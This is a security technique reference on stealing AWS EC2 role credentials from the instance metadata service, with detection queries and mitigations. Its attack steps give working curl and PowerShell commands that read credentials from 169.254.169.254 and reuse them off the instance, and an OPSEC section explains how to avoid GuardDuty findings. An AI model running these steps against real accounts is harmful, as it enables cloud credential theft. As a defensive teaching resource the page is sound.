How it works
An EC2 instance gets its AWS identity from an instance profile, which attaches an IAM role to the instance. The instance never stores a key. Software on it asks the Instance Metadata Service (IMDS), a link-local HTTP endpoint at 169.254.169.254, for the role's current temporary credentials. The service returns an access key ID, a secret access key and a session token at the path iam/security-credentials/<role-name>, and replaces them before they expire. This is how a workload identity works on EC2.
The endpoint has no authentication of its own. Whatever can send it an HTTP request from the instance gets the credentials. The two protocol versions differ in how hard that is:
- IMDSv1 answers a plain
GET. Any request that reaches the endpoint works, including one that a web application is tricked into making on an attacker's behalf. MITRE ATT&CK describes server-side request forgery against a public-facing application as a common way to reach the metadata API, and AWS introduced version 2 as defense in depth against open firewalls, reverse proxies and SSRF vulnerabilities. - IMDSv2 is session oriented. The client first sends a
PUTto/latest/api/tokenwith a TTL header (1 second to 6 hours) and receives a metadata token, then sends that token in a header with everyGET. APUTthat carries anX-Forwarded-Forheader is rejected. By default the response to thePUThas an IP hop limit of 1, so it does not travel beyond the instance.
Three instance settings decide the exposure, and they are independent:
HttpEndpoint: whether the metadata service is on at all.HttpTokens:optionalallows IMDSv1 and IMDSv2;requiredallows only IMDSv2.HttpPutResponseHopLimit(1 to 64): how far the token response may travel. A higher limit lets containers on the instance use IMDSv2. It does not select the protocol.
The metadata token is not an AWS credential. It only protects the metadata endpoint. The credentials it guards are ordinary STS temporary credentials, and they are not bound to the instance: copied to another machine, they sign requests as the role until they expire. This is credential theft of a machine identity.
Variants:
- On-instance use. The attacker runs commands on the instance and uses the role there. AWS sees the same source as the legitimate workload.
- Exfiltration. The attacker copies the three values and uses them from their own infrastructure, outside AWS or in another AWS account.
- Container to host role. A container on an instance reaches the node's instance profile when IMDSv1 is allowed or the hop limit is 2 or more.
Prerequisites
- An EC2 instance with an instance profile. An instance without a role has no credentials at that path.
- The metadata endpoint enabled (
HttpEndpointenabled). - One of the following:
- the ability to run commands on the instance as any user (a shell, a web shell, a compromised application, a build job);
- code execution in a container on the instance, with IMDSv1 allowed or a hop limit that reaches the container;
- with
HttpTokensoptional: any way to make the instance send aGETto the endpoint and return the response.
- For the result to matter: a role with useful permissions. An over-permissioned IAM role on an internet-facing instance is the usual case.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find instances that are worth it
With read access to EC2, list the metadata settings and the attached profiles:
aws ec2 describe-instances \
--query "Reservations[].Instances[].{Id:InstanceId,Endpoint:MetadataOptions.HttpEndpoint,Tokens:MetadataOptions.HttpTokens,HopLimit:MetadataOptions.HttpPutResponseHopLimit,Profile:IamInstanceProfile.Arn}" \
--output table
# CloudFox lists instances in all Regions with their addresses and instance profiles
cloudfox aws --profile target instances
Tokens optional with an instance profile is the exposed combination.
2. Read the role name and credentials (IMDSv1)
From the instance:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role
3. Read the credentials (IMDSv2)
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role
# Windows instance
[string]$token = Invoke-RestMethod -Headers @{"X-aws-ec2-metadata-token-ttl-seconds" = "21600"} `
-Method PUT -Uri http://169.254.169.254/latest/api/token
Invoke-RestMethod -Headers @{"X-aws-ec2-metadata-token" = $token} `
-Method GET -Uri http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role
Either way the response is:
{
"Code": "Success",
"LastUpdated": "2026-11-28T09:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "<session-token>",
"Expiration": "2026-11-28T15:00:00Z"
}
4. Use the credentials off the instance
export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=<session-token>
aws sts get-caller-identity
{
"UserId": "AROAEXAMPLEROLEID:i-1234567890abcdef0",
"Account": "111122223333",
"Arn": "arn:aws:sts::111122223333:assumed-role/app-role/i-1234567890abcdef0"
}
The role session name is the instance ID. From here the attacker continues with IAM enumeration to learn what the role can do. When the credentials expire, the attacker needs the path in again to fetch the next set.
5. Close the hole (owner)
# Require IMDSv2 on an existing instance
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
# Turn the metadata service off where no workload needs it
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-endpoint disabled
# Make IMDSv2 the account default for new instances in a Region
aws ec2 modify-instance-metadata-defaults \
--region us-east-1 \
--http-tokens required \
--http-put-response-hop-limit 2
Impact
The attacker holds the instance's role. Whatever the workload was allowed to do, the attacker can do with the same credentials: read the buckets, queues and databases the application uses, read secrets and parameters, and, when the role is broad, create resources or pass roles to them (PassRole). Instance roles are often wider than the application needs, because they were written once for convenience.
Exfiltrated credentials keep working away from the instance until they expire, and stopping or isolating the instance does not invalidate them. AWS states that temporary security credentials cannot be revoked; their effect is ended by changing what the role's sessions are allowed to do.
On a container host or a Kubernetes node, the node's role is shared by everything that can reach the endpoint, so one compromised container can reach permissions meant for the node.
OPSEC and artifacts
- The read is invisible to AWS. A request to
169.254.169.254never leaves the instance and is not an API call. CloudTrail has no record of it, for either protocol version. Only host evidence shows it: process and command-line logging, EDR network telemetry for connections to the link-local address, web server and proxy logs for requests that carry the address in a parameter. - Use it where it was issued. Calls made from the instance itself come from the instance's own address, exactly like the workload's. No GuardDuty exfiltration finding fires, and the only trace is the set of API calls, which may differ from what the application normally does.
- Stay inside AWS. Using the credentials from another AWS account avoids the outside-AWS finding. GuardDuty has a separate finding for that case,
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS, which reports use from infrastructure owned by a different account. - Use them from outside. This is the loudest option:
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSreports API calls with an instance's credentials from a host outside AWS. Legitimate forwarding through an on-premises proxy can trigger it too. - What CloudTrail keeps for every later call:
userIdentity.typeAssumedRole, the role insessionContext.sessionIssuer, the instance ID as the session name in the ARN, theaccessKeyIdof that credential set,sourceIPAddress,userAgent, and, where present,sessionContext.ec2RoleDeliverywith1.0or2.0. - Limits of that field. A missing
ec2RoleDeliverydoes not prove IMDSv1, and2.0does not prove the credentials were used on the original host. Several processes share the same role session, so the session name alone does not separate the attacker from the application.
Detection
- GuardDuty exfiltration findings. Enable GuardDuty in every Region and treat both
InstanceCredentialExfiltrationfindings as incidents until the source is explained. Compare the finding's principal and time window with CloudTrail, and check the outcome of the calls. - Instance role calls from the wrong network. An
AssumedRolesession whose name is an instance ID, calling from an address that is not the instance's, its NAT gateway or a VPC endpoint. - Credentials delivered by IMDSv1. Events with
ec2RoleDelivery1.0show which workloads still fetch credentials the old way, and are the population to migrate. - A workload doing new things.
GetCallerIdentity, IAM list calls or bursts of denied calls by an instance role: the IAM enumeration rules and the permission brute force rules. - New instances with powerful profiles. An attacker with
iam:PassRolecan create the instance that hands out the role: the instance profile PassRole rules. - On the host. Processes other than the SDK or agent connecting to
169.254.169.254, and inbound web requests whose parameters contain that address.
-- Instance role sessions: where are the credentials used, and how were they delivered?
SELECT useridentity.sessioncontext.sessionissuer.arn AS role_arn,
useridentity.arn AS session_arn,
useridentity.sessioncontext.ec2roledelivery AS delivery,
sourceipaddress,
count(DISTINCT eventname) AS operations,
count(*) AS requests,
min(eventtime) AS first_seen,
max(eventtime) AS last_seen
FROM cloudtrail_logs
WHERE useridentity.type = 'AssumedRole'
AND regexp_like(useridentity.arn, ':assumed-role/[^/]+/i-[0-9a-f]+$')
AND eventtime >= '2026-11-22T00:00:00Z'
GROUP BY 1, 2, 3, 4
ORDER BY session_arn, first_seen
One instance session seen from two unrelated addresses is the row to investigate. An address that belongs to AWS is not enough to call the use legitimate, and sourceIPAddress can be an AWS service name when a service calls on the role's behalf.
Mitigation
- Require IMDSv2 everywhere. Set
HttpTokenstorequiredon existing instances, in launch templates and as the account default per Region. Account defaults do not change existing instances, so check the applied setting of each one. - Enforce it with policy. AWS documents a deny statement that rejects any request made with role credentials that were not delivered by IMDSv2:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RequireAllEc2RolesToUseV2",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"NumericLessThan": {
"ec2:RoleDelivery": "2.0"
}
}
}
]
}
- Keep the hop limit at 1 unless containers on the instance need the metadata service, and use 2 only for those hosts. Give containers their own roles so they do not need the node's.
- Turn the endpoint off on instances that need no role and no metadata.
- Bind credentials to your network. The condition keys
aws:Ec2InstanceSourceVpcandaws:Ec2InstanceSourcePrivateIPv4, compared withaws:SourceVpcandaws:VpcSourceIpin a service control policy, deny requests that use instance credentials from anywhere other than the VPC and address they were delivered to. - Shrink the roles. Give each instance role only the actions and resources its application uses. This is the control that still works when someone does get a shell.
- Fix the application path. Validate and restrict outbound URLs in code that fetches remote content, and block the link-local address at reverse proxies.
- When credentials are exposed, attach a deny to the role for sessions issued before the response time, then replace the instance. Isolating the instance alone leaves the copied credentials valid until they expire.
Detection rules for this attack
FAQ
Does IMDSv2 stop instance credential theft?
It stops the cases where the attacker can only make the instance send a simple GET request, because IMDSv2 needs a PUT request first and a token header on every read. It does not stop someone who runs commands on the instance: they can do the PUT and the GET like any SDK. IMDSv2 narrows who can reach the credentials; least privilege on the role limits what they are worth.
Does CloudTrail log reads of the instance metadata service?
No. The metadata service is a local endpoint on the instance, and requests to it are not AWS API calls. CloudTrail records what is later done with the credentials, and for role credentials from an instance profile the event's sessionContext can carry ec2RoleDelivery with 1.0 for IMDSv1 or 2.0 for IMDSv2. Evidence of the read itself has to come from the host.
What does the hop limit do?
HttpPutResponseHopLimit sets how many network hops the response to the IMDSv2 token request may travel, from 1 to 64. With a limit of 1 the token cannot reach a container behind an extra network hop, so the container cannot use IMDSv2. It does not choose the protocol version: if tokens are optional, IMDSv1 still answers regardless of the hop limit.
How does GuardDuty detect stolen instance credentials?
Through where they are used. InstanceCredentialExfiltration.OutsideAWS reports an API call made with an instance's role credentials from a host outside AWS. InstanceCredentialExfiltration.InsideAWS reports use from infrastructure in a different AWS account. Neither finding shows how the credentials were obtained, and use from the instance itself produces no such finding.
References
- Unsecured Credentials: Cloud Instance Metadata API, T1552.005 (MITRE ATT&CK)
- Use the Instance Metadata Service to access instance metadata (Amazon EC2 User Guide)
- Retrieve security credentials from instance metadata (Amazon EC2 User Guide)
- Configure the Instance Metadata Service options (Amazon EC2 User Guide)
- GuardDuty IAM finding types: InstanceCredentialExfiltration (Amazon GuardDuty User Guide)
- CloudTrail userIdentity element: ec2RoleDelivery (AWS CloudTrail User Guide)
- AWS global condition context keys: aws:Ec2InstanceSourceVpc (IAM User Guide)
- Example policies to control access to the Amazon EC2 API: ec2:RoleDelivery (Amazon EC2 User Guide)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.